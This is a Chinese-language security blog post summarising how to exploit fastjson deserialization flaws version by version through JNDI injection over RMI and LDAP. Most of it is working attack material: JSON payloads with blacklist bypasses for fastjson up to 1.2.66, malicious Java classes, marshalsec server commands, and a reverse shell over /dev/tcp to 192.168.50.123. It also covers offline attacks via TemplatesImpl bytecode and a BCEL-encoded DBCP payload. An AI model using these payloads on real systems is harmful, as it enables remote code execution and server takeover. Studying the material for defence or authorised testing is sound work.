fastjson反序列化漏洞利用关键版本总结
darkless

前提知识

Java序列化&反序列化

  • Java序列化:把Java对象转换为字节序列的过程。
  • Java反序列化:把字节序列恢复为Java对象的过程。

为什么要用序列化呢?

网络传输只能通过字节流,不能直接传输对象。

进行通信时,发送方需要把这个Java对象转换为字节序列,然后在网络上传送; 接收方需要从字节序列中恢复出Java对象。

  • 实现了数据的持久化,通过序列化可以把数据永久地保存
  • 利用序列化实现远程通信

反序列化常用的JNDI注入有两种利用方式,一种是基于rmi,一种是基于ldap。RMI指的是JAVA的远程方法调用,LDAP是轻量级目录访问协议。

JNDI

JNDI (Java Naming and Directory Interface) 是一组应用程序接口。

比如,如果lookup方法的参数是可以控制的,就可以将其参数指向我们控制的RMI服务,切换到我们控制的RMI/LDAP服务。

JNDI是一台交换机,将组件、资源、服务取了名字,再通过名字来查找

RMI

RMI 允许像在本机上一样操作远程机器上的对象。当发送消息给远程对象和调用远程方法时,需要用到序列化机制来发送和接收返回值。

由此可见,使用 RMI 时会涉及到参数传递和结果返回,参数为对象时,要求对象可以被序列化。

RMI远程调用步骤

image

从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口,另一个是远程对象的通信端口。

RMI Registry可以和Server端在一台服务器上,也可以在不同的服务器上,不过大多数时候在同一台服务器上且运行在同一JVM环境下。

JNDI注入原理

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。

jdk关键版本

基于rmi的利用方式:适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。

image

  • 所以,ldap的利用范围比rmi广,实战情况下推荐使用ldap方法。

Fastjson

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,可以将数据在JSON和Java Object之间互相转换。

漏洞成因

FastJson自己实现了一套反序列化的机制,并没有使用默认的readObject(),在序列化反序列化的时候会进行一些操作,主要是setter和getter的操作,同样结合一些类的特性造成命令执行。

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

class Banana implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

  • toJSONString : 将对象序列化为字符串
  • parseObject : 将字符串反序列化为对象
toJSONString : {"fruit":{"price":0.5}}
toJSONString : {"fruit":{"price":500}}

为了解决上述问题,引用了autotype,即在序列化的时候,把原始类型记录下来

{
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    }
}

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

那么就可以利用这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

比如com.sun.rowset.JdbcRowSetImpl这个类库,是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

攻击者准备rmi服务(主机C)和web服务(主机B),构造json数据将rmi绝对路径注入到lookup方法中,受害者(主机A)的JNDI接口会指向攻击者控制RMI服务器(主机C),JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://Cip:9999/evilclass",
"autoCommit": true
}

image

  • 主机A引发反序列化漏洞,进行rmi远程方法调用,去连接主机C的9999端口。
  • 主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类。
  • 主机A执行恶意Java类,主机B获得反弹shell,控制主机A。

影响版本

Fastjson<=1.2.24

最早期的fastjson版本中,AutoType是默认开启的,并且没有什么限制,可以直接加载恶意类

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://Cip:9999/Exploit","autoCommit":true} 

Fastjson<=1.2.41

设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞

在此期间,发现了在具体加载类的时候会判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此在原类名头部加L,尾部加;即可绕过黑名单的同时加载类。

基于黑名单绕过,autoTypeSupport属性为true才能使用

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://Cip:9999/Exploit","autoCommit":true} 

Fastjson<=1.2.42

新加入了检测机制,fastjson先判断目标类的类名的前后是不是L和;,如果是的话,就截取掉前后的L和;再进行黑白名单的校验。

绕过方式改为了双写绕过 LL和;;

基于黑名单绕过,autoTypeSupport属性为true才能使用

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://Cip:9999/Exploit", "autoCommit":true}

Fastjson<=1.2.43

检测是否以LL开头,短暂的修复了漏洞

绕过:根据fastjson判断函数,[开头则提取类名,且后面字符字符为”[“、”{“等,即可正常调用

基于黑名单绕过,autoTypeSupport属性为true才能使用

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://Cip:9999/Exploit", "autoCommit":true}

Fastjson<=1.2.45

1.2.44时增加限制:只要类以[开头或者以;结尾,直接抛异常

基于黑名单绕过,autoTypeSupport属性为true才能使用

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"datasource":"ldap://Cip:9999/Exploit"}}

以上的这些利用方式都是只有在autoTypeSupport属性为true才能使用,fastjson>=1.2.25默认为false

Fastjson<=1.2.47

版本小于1.2.48的版本通杀,在autoType为false时生效,loadClass中默认cache设置为true,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。

首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制

autoTypeSupport属性为false才能使用

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://Cip:9999/jndi",
"autoCommit": true
}
}

Fastjson<=1.2.62

在1.2.48版本中,设置了fastjson cache为false

基于黑名单绕过,autoTypeSupport属性为true才能使用

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://Cip:9999/exploit"}";

Fastjson<=1.2.66

基于黑名单绕过,autoTypeSupport属性为true才能使用

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

Fastjson 1.2.24 利用过程

先通过dnslog检测漏洞是否存在

image

执行成功

image

RMI攻击方式

先将恶意类放到指定的http服务下,再开启RMI服务器加载恶意类,在payload中也要指向RMI服务器的地址

恶意类代码如下

import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/sh", "-c", "ping user.whoami.n9xpa1.dnslog.cn";
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

image

使用marshalsec工具快捷的开启RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.50.123:8000/#dnslog" 9999

image

请求192.168.50.123上的dnslog.class文件

image

验证是否成功

image

若要获取shell,只要将执行的命令改为反弹shell的命令即可

import java.io.BufferedReader;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell{
public Shell() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.50.123/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.50.123:8000/#Shell" 9999

image

image

成功获取

image

LDAP攻击方式

和RMI利用方式相似,只需要更改一下服务类型为ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.123:8000/#Shell" 9999

payload如下

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.50.177:9999/Shell",
"autoCommit":true
}
}

同样执行成功

image

Fastjson 1.2.47 利用过程

image

image

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.123:8000/#evilclass" 9999

evilclass 执行命令 calc.exe

public class evilclass{
public evilclass(){
try{
Runtime.getRuntime().exec("calc.exe");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
evilclass c = new evilclass();
}
}

POC

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.50.177:9999/evilclass","autoCommit":true}}}

image

image

image

成功弹出了计算器

image

服务器不出网情况利用

如果遇到无法出网的机器,这时候无法通过 JNDI 注入来进行反弹等操作。直接本地反序列化利用

限制条件

  • BasicDataSource(tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4)
  • TemplatesImpl 需要解析的时候设置 Feature.SupportNonPublicField

TemplatesImpl的利用

TemplatesImpl类,有一个字段是 _bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。

但是这种利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发,代码如下:

JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});

由于这个前提的存在,基本不太可能能在实战环境成功遇到。

恶意类代码

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;


public class Calc extends AbstractTranslet {
public Calc() throws IOException {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { }
public static void main(String[] args) throws Exception {
Calc t = new Calc();
}
}

对class类文件进行base64编码

import base64
fin = open(r"Calc.class", "rb")
fout = open(r"en.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

修改 jsonbytecodes 为 刚刚生成的 base64 文本

{    
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["yv66vgAAADQALAoACgAaCgAbABwHAB0IAB4IAB8IACAKABsAIQcAIgoACAAaBwAjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACQBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAlAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACYBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhDAALAAwHACcMACgAKQEAEGphdmEvbGFuZy9TdHJpbmcBAANjbWQBAAIvYwEABGNhbGMMACoAKwEABENhbGMBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAgACgAAAAAABAABAAsADAACAA0AAAA/AAUAAQAAAB8qtwABuAACBr0AA1kDEgRTWQQSBVNZBRIGU7YAB1exAAAAAQAOAAAADgADAAAACgAEAAsAHgAMAA8AAAAEAAEAEAABABEAEgABAA0AAAAZAAAABAAAAAGxAAAAAQAOAAAABgABAAAADwABABEAEwACAA0AAAAZAAAAAwAAAAGxAAAAAQAOAAAABgABAAAAEQAPAAAABAABABQACQAVABYAAgANAAAAJQACAAIAAAAJuwAIWbcACUyxAAAAAQAOAAAACgACAAAAEwAIABQADwAAAAQAAQAXAAEAGAAAAAIAGQ=="],
'name': 'a.b',
'tfactory': {},
"outputProperties": {},
"name": "b",
"version": "1.0",
"allowedProtocols": "all"
}
}

image

image

DBCP的利用

tomcat有一个tomcat-dbcp.jar组件是tomcat用来连接数据库的驱动程序存在一个org.apache.tomcat.dbcp.dbcp.BasicDataSource类,类中Class.forName可将driverClassLoader和driverClassName设置为json指定的内容,并通过传参数执行代码。通过Class.forName传入BCEL编码的evil.class文件,com.sun.org.apache.bcel.internal.util.ClassLoader的classloader会先把它解码成一个byte[],然后调用defineClass还原出恶意Class,执行任意代码。于是根据fastjson漏洞逻辑,控制Class.forName加载的类和ClassLoader,加载还原出的恶意Class执行代码。

image

而且对于不同的Tomcat版本使用的poc也不同:

• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource

新建 poc_1 类,代码如下,并执行 javac poc_1.java

import java.io.IOException;

public class poc1 {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

编码poc_1类

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;


public class TestBCEL{
   public static void main(String[] args) throws IOException {
       Path path = Paths.get("poc_1.class");
       byte[] bytes = Files.readAllBytes(path);
       System.out.println(bytes.length);
       String result = Utility.encode(bytes,true);
       BufferedWriter bw = new BufferedWriter(new FileWriter("res.txt"));
       bw.write("$$BCEL$$" + result);
       bw.close();
  }
}

将生成的 BCEL编码 替换到 driverClassName

{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3d$D$94$96Z$e4$r$f8De$r$b0$90$98$b8$c3$b81$9a$YQ$8c$Q$5d$9aa$9c$90biI$v$86$3fr$cd$G$8d$L$3f$c0$8f2$de$99$Y$qq$W$f7q$ee9$e7$ce$cc$d7$f7$c7$t$80cTlX$c8$db$u$60$cdBQ$e5$92$89u$h$G6Ll$9a$d8bH$9e$b8$be$h$9d2$c4$ab$b5$7b$86$c4Y$f0$q$Z2$z$d7$977$93aO$86$5d$de$f3$I$b1N$84$f7$cbLw$o$$$9e$af$f9H$8f$c8$90$c1$ee$E$93P$c8$LWQ$edQ$m$k$8f$O$H$fc$85$3bH$c16$b1$ed$60$Her$X$dc$T$Ov$b1$c7PP$f3$86$h4$$$db$e7S$nG$91$h$f8$O$f6a3$Y$da$80$n$ab$v$k$f7$fb$8dvo$mE$c4$90$fb$83$ee$s$7e$e4$O$d5$be$be$8c$WM$b1Zk$fd$e34i$b5$9cJ$c1pP$5d$9av$a2$d0$f5$fb$cde$c1m$Y$I9$k$93$m3$a2a$a4$9f$da$N$b9$90$a8$c0$a4$dfT$t$G$a6$deEq$85$ba2eF$d9$a8$bf$81$cd$a8$60p$u$s5$Y$tIzAmk$v$90$7fG$y$l$9f$p$f1$f0$K$eb$aa$3eGr$a6$f1$U$v$N$e2$u$7d$89$w$e5$92$d2$a8I$$$Wr$e4$b4J$a8$89X$cbD$sA$a2$ac$beO$ee$H$bd$d2$f4$3a$f3$B$A$A"
}
}

image

在不出网的场景下,如果获取到了网站的根目录,可以通过写入webshell的方式进行攻击,或写入内存shell。参考文章:Springboot 内存shell

POC总结

  • fastjson <= 1.2.24 AutoType=true
{
   "b":{
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"ldap://x.x.x.x:9999/Shell",
       "autoCommit": true
  }
}
  • 1.2.25 <= fastjson <= 1.2.47 AutoType=false
{
   "a": {
       "@type": "java.lang.Class",
       "val": "com.sun.rowset.JdbcRowSetImpl"
  },
   "b": {
       "@type": "com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName": "ldap://x.x.x.x:1098/jndi",
       "autoCommit": true
  }
}

注:针对fastjson服务器所处系统的不同操作版本,要用不同的命令执行语句

 评论
评论插件加载失败
正在加载评论插件